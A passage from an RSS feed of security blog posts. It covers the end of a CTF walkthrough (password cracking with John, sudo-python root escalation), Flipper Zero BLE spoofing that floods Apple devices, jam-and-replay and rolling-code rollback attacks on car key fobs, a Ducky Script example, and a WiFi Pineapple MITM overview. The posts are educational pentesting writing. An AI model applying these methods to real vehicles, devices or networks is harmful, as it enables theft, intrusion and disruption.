Force</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t8_KIwDxwAafT-ihxPx7-A.png" /><figcaption>John-Bruteforcing process</figcaption></figure><p>After downloading the password protected file which was given on the note mentioned above, we use John to crack the password.</p><p>Firsly, since the file is compressed as a ZIP, we need to convert it to the John’s format using the command below:</p><blockquote>zip2john filename.zip &gt; zip</blockquote><p>Then we use John to crack the converted file using a wordlist.</p><blockquote>john -- wordlist=/usr/share/wordlists/rockyou.txt zip</blockquote><p>When the password is found, we need to unzip the file with the following command:</p><blockquote>unzip -P [password] [filename.zip]</blockquote><p>Now we have access to the text document inside the zip, which contains the FTP password for the user (the username is in the same note where we found the encoded message).</p><p>We continue on logging in to the FTP user to gather more information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H5DQrGXnI6sl-Rm9_9Vclg.png" /><figcaption>FTP Files</figcaption></figure><p>From this we can see that we got:</p><ul><li>id_rsa : An SSH session file</li><li>list.txt : A list that we can potentially use for bruteforcing that SSH session file</li><li>note.txt : A note from the developers</li><li>user_flag.txt : The flag for the FTP user</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*V-xfVxxl7iX6rootb498Gg.png" /><figcaption>Note.txt</figcaption></figure><p>note.txt gives us the username which we are going to use for SSH login.</p><p>Before that we need to convert that id_rsa SSH session file to the john format and bruteforce it using list.txt, which we got from the FTP access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*E1-9OUqKmLRU6iGh6hpduQ.png" /><figcaption>John-SSH Password Cracked</figcaption></figure><ul><li><strong>Access</strong></li></ul><p>Since we found the ssh password, we can continue on logging in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L4-fCvTrobel4fYP-xOg1g.png" /><figcaption>SSH Login</figcaption></figure><p>Therefore after we logged in, we can use ‘sudo -l’ to check the user’s privileges. Which in this case, the user has sudo privileges for Python.</p><p>Now, we are going to abuse those privileges to gain root.</p><ul><li><strong>Privilege Escalation</strong></li></ul><p>We go to GTFOBins and search for Python, in order to find the command that we need to do privilege escalation and get root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Bft9uDmUbEgomV4zQVooA.png" /><figcaption>GTFOBins-Python</figcaption></figure><p>We will be using the shell command above in order to gain root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*dAPThKB1gtdY9ECNGaxTGg.png" /><figcaption>Privilege Escalation through Python</figcaption></figure><ul><li><strong>Conclusions</strong></li></ul><p>This machine lets us know how the exposed information by the developers helped us gain access to the machine, followed by the wrong privileges to the wrong user (In this case: Python), which led to vertical privilege escalation (root access).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c356d468a2d1" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/cyclone-walkthrough-c356d468a2d1">Cyclone Walkthrough</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ADV Packets Spoofing on Apple Devices via BLE]]></title>
            <link>https://systemweakness.com/adv-packets-spoofing-on-apple-devices-via-ble-20f86cc6bf06?source=rss-d54c3dfbb1a0------2</link>
            <guid isPermaLink="false">https://medium.com/p/20f86cc6bf06</guid>
            <category><![CDATA[flipper-zero]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[spoofing]]></category>
            <category><![CDATA[apple]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Dion Mulaj]]></dc:creator>
            <pubDate>Sat, 09 Sep 2023 13:33:28 GMT</pubDate>
            <atom:updated>2023-09-20T18:22:35.999Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yxBRx_8hNpIceRK5Qp9f2w.png" /></figure><h3>Overview</h3><p>The main use of this exploit is focused on flooding spoofed requests on the target device via notifications, which can also be called a beacon attack. The attack generates a large number of connection requests and interferes with the user experience, which draws attention to potential security flaws within Apple’s technology.</p><h3>Technical Details</h3><p>Advertising (ADV) packets are used by Apple devices like iPhones and iPads to connect with other devices in their ecosystem using BLE (Bluetooth Low Energy) . These ADV packets are spoofed by Flipper Zero, which broadcasts them via the BLE protocol to trick the target device into accepting fake connection requests.</p><p>In order to achieve this, first we would need a Flipper Zero and also some firmware modification in order to simulate the attack. After installing the source code of flipper firmware, we would have to go to <strong><em>gap.c </em></strong>file, which is located in <strong><em>/flipperzero-firmware/firmware/targets/f7/ble_glue</em></strong>.</p><p>The <strong><em>gap.c</em></strong> file determines the functions of flipper zero’s BLE, for which after being modified with the payload, it will spoof iOS ADV packets.</p><p><strong><em>These payloads for ADV spoofing can be found on the following link:</em></strong> <a href="https://github.com/dionmulaj/ADV-Spoof-FlipperZero">https://github.com/dionmulaj/ADV-Spoof-FlipperZero</a></p><p>Once this <strong>gap.c </strong>editing process has finished and the payload code has been uploaded, all what’s left is compiling the firmware it’s root directory with the following command:</p><pre>./fbt COMPACT=1 DEBUG=0 VERBOSE=1 updater_package</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l3UEcGKOADGtsnblHtUOyA.png" /><figcaption>Compiled Firmware</figcaption></figure><p>After the compilation is finished, it will show us the directory where the compiled firmware file has been saved. We will get this firmware file and upload it on the Flipper Zero device via qFlipper software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OrJ-qPqjWIwUtv5WnUNuHQ.png" /><figcaption>Firmware installation</figcaption></figure><p>When the Flipper Zero’s firmware installation is completed successfully, we can go and turn our Bluetooth function <strong><em>‘ON’ </em></strong>in the settings and the attack will launch.</p><p>The attack simulation video below:</p><p><a href="https://youtube.com/shorts/zniWUr5B1ks">ADV Packets Spoofing on Apple Devices via BLE</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20f86cc6bf06" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/adv-packets-spoofing-on-apple-devices-via-ble-20f86cc6bf06">ADV Packets Spoofing on Apple Devices via BLE</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sub-GHz Replay Attacks over Automotive Systems]]></title>
            <link>https://systemweakness.com/sub-ghz-replay-attacks-over-automotive-systems-46324378f34b?source=rss-d54c3dfbb1a0------2</link>
            <guid isPermaLink="false">https://medium.com/p/46324378f34b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Dion Mulaj]]></dc:creator>
            <pubDate>Fri, 31 Mar 2023 00:42:08 GMT</pubDate>
            <atom:updated>2023-04-03T15:32:21.334Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*j-j5wZMQoE7SNUAq.jpg" /></figure><h3>Radio Frequencies - Overview</h3><p>Automotive systems rely on a complex network of electronic components to function properly, and one of the critical components in this network is the use of radio frequencies. Radio frequencies are a form of electromagnetic radiation that is used to transmit information wirelessly over a range of frequencies. In automotive systems, radio frequencies are used for a variety of purposes, including communication between the car’s various electronic components, GPS navigation, and entertainment systems.</p><p>The use of radio frequencies in automotive systems has evolved significantly over the years. Early automotive systems relied on simple radio technology to transmit signals between various components of the car, however with the advent of digital technology, the use of radio frequencies in automotive systems has become much more sophisticated.</p><h3>Key fobs evolution</h3><p>Key fobs, also known as remote keyless entry (RKE) devices, have come a long way since their inception. Originally developed as a convenience feature for luxury vehicles, key fobs have become a standard feature on many cars today, offering a range of functions beyond just locking and unlocking the doors. In this article, we will explore the evolution of key fobs, from their early beginnings to their current state-of-the-art technology.</p><p><strong>Early keys</strong></p><p>The first car keys were simply bare metal, which required mechanical force in order to flip the switch and open car doors. That being said, they didn’t have electronic component which would verify if the car key is legit or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*DU9W54aVE_vFUHMK.jpg" /><figcaption>Bare metal mechanical key</figcaption></figure><p><strong>Modern key fobs</strong></p><p>The first remote keyless entry system was developed in the 1980s. It was a simple device that used a radio signal to unlock and lock the doors of a vehicle. At the time, it was considered a luxury feature and was only available on high-end vehicles.</p><p>In the 1990s, car manufacturers began incorporating key fobs into their standard feature sets. These early key fobs were still relatively simple, with limited functionality beyond locking and unlocking the doors. However, they quickly became popular due to the convenience they offered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nm7WMmtEN10s04ls.jpeg" /><figcaption>Modern Key Fob</figcaption></figure><p><strong>Advancements in Key Fob Technology</strong></p><p>Over the years, key fob technology has continued to evolve, with new features and capabilities being added to make them more convenient and useful. Some of the key advancements in key fob technology include:</p><blockquote>Improved Range: Early key fobs had a limited range, requiring the user to be within a few feet of the vehicle for the signal to be effective. Today’s key fobs can operate over much greater distances, allowing users to lock or unlock their vehicle from several feet away.</blockquote><blockquote>Additional Functions: In addition to locking and unlocking the doors, today’s key fobs can perform a range of additional functions. These include starting the engine, opening the trunk, and even adjusting the climate control settings.</blockquote><blockquote>Biometric Security: Some key fobs now incorporate biometric security features, such as fingerprint or facial recognition, to prevent unauthorized access to the vehicle.</blockquote><blockquote>Proximity Sensors: Some key fobs now incorporate proximity sensors that can detect when the user is approaching the vehicle. This allows the vehicle to automatically unlock the doors and even start the engine without the user having to press any buttons.</blockquote><blockquote>Smartphone Integration: Some newer vehicles now offer key fob functionality through smartphone apps. This allows users to perform key fob functions, such as locking and unlocking the doors, from their smartphone.</blockquote><p><strong>Challenges with Key Fob Technology</strong></p><p>While key fob technology has come a long way over the years, there are still some challenges associated with these devices. One of the biggest challenges is security. As key fob technology has become more advanced, the same happened with the methods used by criminals to gain unauthorized access to vehicles. In recent years, there have been several high-profile cases of keyless entry vehicles being stolen using different hacking techniques.</p><p>To address these security concerns, car manufacturers have begun incorporating additional security features into their key fobs. These include encrypted signals, rolling codes, and biometric security features.</p><p>Another challenge with key fobs is their cost. As key fob technology has become more advanced, the cost of these devices has increased. In some cases, replacement key fobs can cost hundreds of dollars, making them a significant expense for vehicle owners.</p><h3>Key Fobs - Security Structure</h3><p>When we are talking about security issues in key fobs, there are 2 main methodologies which can be used for hacking them:</p><ul><li>Intrusive Attacks</li><li>Non-Intrusive Attacks</li></ul><p><strong>Intrusive Attacks</strong></p><p>Intrusive Attack means that the hacker tries to physically modify or copy the original key fob. In most cases, hackers try to copy the authentic / original key fob and paste it into a blank key fob. Intrusive Attacks require a very good knowledge on algorithms, reverse engineering and of course, electronics of vehicles.</p><p>If the original key fob manages to get copied and implemented successfully into a blank key fob, then the car would open and start normally with the new key fob.</p><p>But if there is some sort of mistake on the copied code on the new key fob, then the engine won’t start and the steering wheel will probably get locked. The reason for this is a car component called immobilizer, which detects if the key fob is legit.</p><p><em>But how would the immobilizer know that?</em> Modern keys fobs have an integrated transponder inside, which transmits signal through the metal part of the key, allowing it to communicate with the car’s immobilizer and identifying itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ppNV88uIvFOoN-zJ.jpg" /><figcaption>Immobilizer</figcaption></figure><p><strong>Non-Intrusive Attacks</strong></p><p>Non-Intrusive Attack is a hacking methodology which is used for: signal capturing, modifying, transmitting, jamming etc.. What this means is that the hacker doesn’t have physical contact with key fobs and the hacking process is done through radio frequencies.</p><p>Some of the devices that can be used for Non-Intrusive Attacks are: HackRF One, Flipper Zero, Evil Crow RF V2 etc..</p><p>In the early days of key fobs, the signal that was generated after clicking “Unlock” button, was easier to get captured and replayed later to open a car. But now, except for encryption which is used to prevent Intrusive Attacks, key fobs also use rolling codes to prevent Non-Intrusive Attacks.</p><p><strong>Rolling Codes</strong></p><p>In automotive industry, transponders are mostly used for receiving and transmitting small commands (for e.g key fob transmitting “Unlock” command to the car).</p><p>Rolling Codes are security encryption technologies, which are used to secure the communication between the car’s transponder and the key fob. The key fob and the car get synchronized with the same rolling code algorithm, so only these two can predict the next sequence of the rolling code. In case of rolling code mismatch, no matter if you click “Unlock”/”Lock” button on your key fob, the car won’t accept the command because the rolling code is invalid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*umSq-Z7-_of0JIZlAGVqYQ.png" /><figcaption>Rolling codes example</figcaption></figure><p>To understand how rolling codes really work, we can refer to the picture above.</p><blockquote>After the key fob gets synchronized with the car, each of these two can predict the next rolling code as mentioned before. When the key fob (e.g Unlock button) is pressed the first time, a signal with the command and rolling code (rolling code 01 in this case) will be sent to the car. The car would verify if the rolling code matches the one in its rolling sequence (in this case its also 01) and it would execute the command. The same thing happens with the second example on the picture, just with a different rolling code, since the first one has already been used.</blockquote><blockquote><em>But what if we pressed the key fob outside the car’s receiving range?</em></blockquote><blockquote>The rolling code 03 would be used on the key fob, but the car would still be stuck with rolling code 02, since the key fob was out of car’s receiving range and the car doesn’t know that the button has been pressed. But what if the hacker uses the “out-of-range” condition for his advantage, by getting that “Unlock” command and the rolling code and then replaying it to the car? The car would simply open (only once, since there is only 1 valid rolling code in this scenario). What is worth mentioning, is that the rolling codes should be transmitted chronologically in order for the commands to work. In the above mentioned example, if the rolling code of the key fob is 03 and we capture that signal outside the car’s receiving range, but the owner manages to go near the car and execute rolling code 04 with the command (e.g “Unlock”), then rolling code 03 would be invalid. As soon as the car receives a new command (with a rolling code), the older rolling codes would be invalid.</blockquote><p><strong>Key fob frequencies</strong></p><p>Key fobs, also known as Remote Keyless Entry (RKE) systems, use radio frequencies to communicate between the key fob and the car. These frequencies typically fall within the range of 315 MHz to 433.92 MHz, although some key fobs may use frequencies outside of this range.</p><p>The specific frequency used by a car key fob depends on the design of the system and the region where it is used. In North America, for example, RKE systems typically use frequencies in the 315 MHz range, while in Europe and Asia, frequencies in the 433.92 MHz range are more common.</p><p>It’s worth noting that some modern cars now use more advanced keyless entry systems, such as Passive Keyless Entry (PKE) or Hands-Free Keyless Entry (HFKE), which use even higher frequencies in the range of 125 kHz to 134 kHz. These systems typically have a longer range and are able to unlock the car automatically when the user approaches, without requiring them to press a button on the key fob.</p><p><em>How to determine the key fob frequency? </em>In the U.S. you could simply check the FCC ID on the back of your key fob, and enter that FCC ID in <a href="https://fccid.io/">fccid.io</a>. This makes you able to get more details about that specific key fob. Meanwhile in other regions, you could check your local authority frequencies, or you could find its frequency range with an RTL-SDR, Flipper Zero or similar devices.</p><h3>Replay Attacks</h3><p>The process of a replay attack involves capturing a signal that is transmitted between a key fob and a vehicle’s receiver. Attackers can use a variety of tools to capture these signals, including specialized radio frequency scanners and software-defined radios. Once the signal is captured, it can be replayed at a later time to gain unauthorized access to the vehicle.</p><p>Knowing how modern key fobs and cars work, this would be impossible because of the rolling codes. But this article will describe how a hacker could find a way around it.</p><p>Devices like HackRF One or Flipper Zero, are half-duplex devices. Half-duplex devices can either receive or transmit, they cannot do both of these functions at the same time. Meanwhile devices like Evil Crow RF V2 are full-duplex, which means they can both receive and transmit at the same time.</p><p>In this scenario a hacker could get an Evil Crow RF V2 and when the owner (victim in this case) goes to unlock the car, the hacker jams the signal so the car cannot receive the unlock command, but the hacker captures it. This means that the hacker now has an unused rolling code with the command to open the car. The owner (victim) clicks the unlock button again since it didn’t work the first time, the hacker keeps jamming the signal so the car doesn’t receive the 2nd command, but the hacker got it again. The hacker now has 2 unused rolling codes with the command to open the car, and as soon as he captures that 2nd signal with the rolling code, he transmits the first signal (with the first rolling code) to the car, so the car unlocks. Now, the owner thinks that the key fob worked the second time when he pressed it, while in reality the car got unlocked because the hacker released the first command with the first rolling code. At this point, the hacker has one more rolling code in his pocket to use it for later, of course if the owner doesn’t touch the key fob before him, which would make the previous rolling code invalid.</p><p><em>How is the hacker able to capture the signal from the victims key fob if the jammer is throwing noise?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*gzmreIlSvByWN7-fZFK6vQ.png" /><figcaption>Jamming and capturing</figcaption></figure><p>Every car has a receiving window with a specific frequency range, whatever noise/signal comes within that receiving window, the car tries to read it. When a jammer is on that receiving window, the car would be busy focusing on it and it would ignore the legitimate key fob. To capture that key fob signal, a hacker would need to use the lowest bandwidth possible in order to capture the command/signal without any noise interference from the jammer. The picture above gives a simple example on how this works.</p><h3>Rollback Attacks</h3><p>Rollback attacks are a type of attack that targets the firmware of wireless devices. These attacks involve exploiting vulnerabilities in the firmware of a device to cause it to revert to an earlier, less secure version/stage of the firmware.</p><p>In automotive industry rollback attacks have a smaller scope to be used, but if the car is vulnerable, the risk is very high.</p><p>Some car brands have vulnerabilities which allow the owner of the car to reset the rolling code state. For example, if the owner clicks the unlock button 3 times, the rolling code system would reset. Some of these brands have different count on when the rolling code system would reset, but depending on the brand, a car would generally need 3 to 9 rolling codes (unlock/lock commands) to reset it’s rolling code system.</p><p>If a car was vulnerable to rolling code system reset with 3 rolling codes (unlock/lock commands), these rolling codes (commands) should be played chronologically in order for the rolling code system reset to work.</p><p>When the owner (victim) goes to unlock the car, the hacker would have to jam the signal, in order for the owner to keep pressing the key fob. Hacker collects 5 unlock commands (with rolling codes) and he stops the jammer. Now the owner can lock and unlock the car, but whenever the hacker is near the car, he could replay the first 3 commands chronologically and the rolling code system would reset, after that he has 2 more commands which he can use to unlock the car. But this isn’t all, after the hacker uses all these 5 commands, he can use the first 3 commands again to reset the rolling code system and use those 2 other commands to unlock the car again, this basically puts the unlocking security feature in a loop.</p><h3>Key fob DeSyncing and ReSyncing</h3><p>When we are researching and testing these kind of attacks, we should be careful of key fob desynchronization, which makes it impossible for you to unlock/lock the car with the key fob buttons. DeSync (desynchronization) can happen from a various number of reasons, some of them are: pressing the key fob too many times when out-of-range, replaying the same command with the same rolling code to the car a lot of times, low battery on key fob etc..</p><p>If your key fob is DeSynced, you should go to an authorized representative of the car brand to resynchronize it, which would cost around $100-$150 USD.</p><p>There are ways to ReSync your key fob by yourself (this doesn’t work on all brands and/or models). For example most Volkswagen cars which were manufactured on 2015 and below, have a similar resynchronization technique like the one below:</p><ol><li>Get your key fob and touch the unlock button</li><li>Unlock the driver door using the mechanical metal/plastic key (depending on key fob)</li><li>Put the key fob on ignition and wait a few seconds</li><li>Now the key fob should work (Note: All this procedure should be completed within 1 minute).</li></ol><p>Meanwhile for some other car brands and/or models it can be something like this:</p><ol><li>Sit in the driver’s seat of your vehicle and ensure that all doors are closed.</li><li>Insert the key into the ignition and turn it to the “On” position. Do not start the engine.</li><li>Press and hold the “Lock” and “Unlock” buttons on your key fob at the same time for several seconds until the vehicle’s locks cycle.</li><li>Release the “Lock” and “Unlock” buttons. This should resynchronize your key fob with the vehicle.</li><li>Test your key fob by pressing the “Lock” and “Unlock” buttons to ensure that the vehicle responds properly.</li></ol><p>All this depends on the car brand and model, which could also be found on official brand’s white papers or online tutorials.</p><h3>Video</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FBxBZWQyfQl4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DBxBZWQyfQl4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FBxBZWQyfQl4%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5167315ee0e713e64abc848043c1f3c8/href">https://medium.com/media/5167315ee0e713e64abc848043c1f3c8/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46324378f34b" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/sub-ghz-replay-attacks-over-automotive-systems-46324378f34b">Sub-GHz Replay Attacks over Automotive Systems</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Keystroke Injections]]></title>
            <link>https://systemweakness.com/keystroke-injections-4b9536241a48?source=rss-d54c3dfbb1a0------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b9536241a48</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cyberattack]]></category>
            <dc:creator><![CDATA[Dion Mulaj]]></dc:creator>
            <pubDate>Fri, 23 Sep 2022 15:44:02 GMT</pubDate>
            <atom:updated>2022-09-29T14:36:54.280Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MkSL1-N48BxbfeTKlsJCsw.jpeg" /><figcaption>Keystroke Injections</figcaption></figure><h3>Ducky Script</h3><p><strong>Ducky Script </strong>is a simple scripting language that is used to execute a set of instructions to fulfill a specific task or goal. Developed by Hak5 in 2010 to firstly be known as <strong>‘DuckyScript 1.0&#39;</strong>, this script found implementation on USB Rubber Ducky or else known as Bad USB.</p><p>It’s development was mainly focused to ease the work for security engineers and pen testers. The automation of keystroke injection has significantly made changes in the terms of social engineering and pentesting. Today we can find Ducky Scripts mostly focused in USB Rubber Ducky (Bad USB) and Wifi Ducky.</p><h3>USB Rubber Ducky</h3><p>USB Rubber Ducky is a Human Interface Device (HID) with the main purpose of carrying the payload into a system without being detected. The AV (anti-virus) software and the target system itself will recognize this device as a HID (mouse or keyboard input), which makes it unable for the AV to detect it’s malicious content.</p><p>USB Rubber Ducky can be a DYI (Do It Yourself) or it can be bought from companies like Hak5. For making a DYI USB Rubber Ducky it would be needed to have components like: ATTINY85 Digispark, Arduino IDE software, payload (ducky script keystroke) and the ducky script converter to Arduino.</p><h3>WiFi Ducky</h3><p>WiFi Ducky or Wireless Ducky is very similar to the USB Rubber Ducky, the main difference is that you write and execute the script through WiFi. On a basic USB Rubber Ducky you first need to implement the code and after that plug the device into the target computer, the same thing doesn’t stand for the WiFi Ducky.</p><p>WiFi Ducky has an integrated web panel which is accessible through it’s localhost. So when the Wifi Ducky is plugged in, a WiFi SSID will appear with its name (depending on configuration), after having a successful WiFi connection with the device, we can simply go to it’s localhost or default local ip address where the web panel can be found.</p><p>This web panel will allow the attacker to perform keystroke injection to the target machine in real time through WiFi (after the device has been plugged in to that target machine).</p><h3>Script Overview</h3><p>To start with, we can review a simple script and understand it’s functions and the main goal of the script:</p><blockquote>REM Open Windows Defender Settings</blockquote><blockquote>CTRL ESC</blockquote><blockquote>DELAY 750</blockquote><blockquote>STRING windows security</blockquote><blockquote>DELAY 250</blockquote><blockquote>ENTER</blockquote><p>The script above opens up the Start Menu, sets a delay time, searches for ‘windows security’, sets another delay, and finally clicks Enter (which means it opens Windows Security).</p><p><strong>REM </strong>= gets its name from the word ‘remark’. This command doesn’t perform any keystroke attack, it is used only to write a description or add spacing within the payload.</p><p><strong>CTRL ESC / ENTER</strong> = The function buttons to be clicked.</p><p><strong>STRING</strong> = The command used to inject the keystrokes.</p><p><em>Sources: Hak5 &amp; Spacehuhn</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b9536241a48" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/keystroke-injections-4b9536241a48">Keystroke Injections</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WiFi Pineapple and MITM Attacks]]></title>
            <link>https://systemweakness.com/wifi-pineapple-and-mitm-attacks-c47bd4ade470?source=rss-d54c3dfbb1a0------2</link>
            <guid isPermaLink="false">https://medium.com/p/c47bd4ade470</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[wifihacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Dion Mulaj]]></dc:creator>
            <pubDate>Tue, 07 Jun 2022 18:08:17 GMT</pubDate>
            <atom:updated>2022-07-22T11:41:17.705Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>What are MITM (Man-in-the-Middle) Attacks?</strong></p><p>Man-in-the-Middle (MITM) attacks are attack techniques that involve a man-in-the-middle which intercepts communications between two parties. This can be done passively or actively. In passive mode, the MITM simply listens to the communication without altering it. In active mode, the MITM alters the communication by injecting his own messages into the conversation.</p><p><strong>But how to perform a MITM Attack? What tools should be used?</strong></p><p>MITM(Man-in-the-Middle) Attacks are often used in companies by red teamers to simulate an attack, so the company can know the weakest point of the chain.</p><p>To perform a MITM Attack we need to use specific tools and devices. Some of the tools used to perform these kind of attacks are: Wireshark, Ettercap, dSniff etc.. But to do so, we also need a WiFi adapter with monitoring mode enabled, in this case you could use an Alfa WiFi Adapter or simply a TP-LINK TL-WN722N.</p><p><strong>Is there any easier way to simulate MITM Attacks?</strong></p><p>Absolutely! WiFi Pineapple MarkVII is your solution.</p><p>The WiFi Pineapple Mark VII is a USB-powered, pocket-sized WiFi hacking device capable of capturing data streams, acting as an access point and performing MITM attacks.</p><p>It is used to spread fake access points using the SSIDs from the SSID Pool, and the person who uses the WiFi Pineapple can see all activities in pineapple’s web-interface.</p><p>This is one of the most popular hacking tools for WiFi networks and it is an important device to perform wireless security auditing.</p><p><strong>WiFi Pineapple MarkVII</strong></p><p>The WiFi Pineapple MarkVII has been developed by Hak5, aiming to lighten and automate the WiFi auditing and pentesting.</p><p>It offers features like:</p><ul><li>PineAP Suite</li><li>WPA/WPA-Enterprise Attacks</li><li>Advanced Recon</li><li>Precise Filtering</li><li>Passive Intelligence</li><li>Simple GUI (via Web Interface)</li><li>Scheduled Campaigns</li><li>Cross-Platform Usage</li><li>Remote Command and Control (via Hak5 Cloud C2)</li></ul><p><strong>WiFi Pineapple Dashboard</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1scSKwZUdSJFG8_biwOTNw.png" /><figcaption>WiFi Pineapple Dashboard</figcaption></figure><p>WiFi Pineapple offers a modern dashboard which facilitates the process of interacting with it’s built-in features. This dashboard displays the stats of: System (performance of CPU &amp; RAM), Disk space, Connected Clients (MITM victims), SSIDs collected on PineAP Suite (SSID Pool), Automated Campaigns, Wireless Landscape (based on WiFi Recon results) etc..</p><p><strong>WiFi Pineapple Recon</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eV9DL584scD5uBUUynhhWQ.png" /><figcaption>Recon results</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*Kjn0VKxd74CRtLQR9CRGiQ.png" /><figcaption>Wireless Landscape</figcaption></figure><p>The WiFi Pineapple Recon offers an easy way to discover the nearby WiFi networks and clients, which can lately be used to perform our WiFi auditing or pentesting. As shown on the first photo, the wireless recon provided us the SSIDs, MAC Addresses, Manufacturers, Wireless Security types, Signal Strengths etc..</p><p>After doing a successful recon, we can select our target and try to catch the handshake, which can help us gain access to a specific network.</p><p><strong>PineAP Suite</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*US9cTiYGh49a6j91Kht0IQ.png" /><figcaption>PineAP Suite</figcaption></figure><p>The PineAP Suite allows us to collect the SSIDs and broadcast them, in order to find victims. We can determine if we want the Passive Mode, Active Mode or the Advanced Mode.</p><p><strong><em>Passive Mode:</em></strong> Event Logging, SSID Pool Collection.</p><p><strong><em>Active Mode:</em></strong> Event Logging, Beacon Responses, SSID Pool Collection and Broadcasting.</p><p>Meanwhile the <strong><em>Advanced Mode</em></strong> lets us customize these features.</p><p><strong>WiFi Pineapple Modules</strong></p><p>WiFi Pineapple offers us some modules, which make it easier for us to perform a MITM attack. Some of the offered modules are: Evil Portal, TCP Dump, Nmap, HTTPeek etc..</p><p><strong>Conclusion</strong></p><p>The MITM attacks can also be performed manually with tools that are already pre-installed on Kali Linux, or open-source tools that can be found on GitHub.</p><p>But, if you are a cybersecurity enthusiast or a red teamer who wants to automate the WiFi auditing/pentesting processes, WiFi Pineapple may be a great choice for you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c47bd4ade470" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/wifi-pineapple-and-mitm-attacks-c47bd4ade470">WiFi Pineapple and MITM Attacks</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ProFTPD Exploitation]]></title>
            <link>https://systemweakness.com/proftpd-exploitation-bb4a0cd19867?source=rss-d54c3dfbb1a0------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb4a0cd19867</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Dion Mulaj]]></dc:creator>
            <pubDate>Sat, 07 May 2022 15:37:11 GMT</pubDate>
            <atom:updated>2022-05-09T07:36:15.828Z</atom:updated>
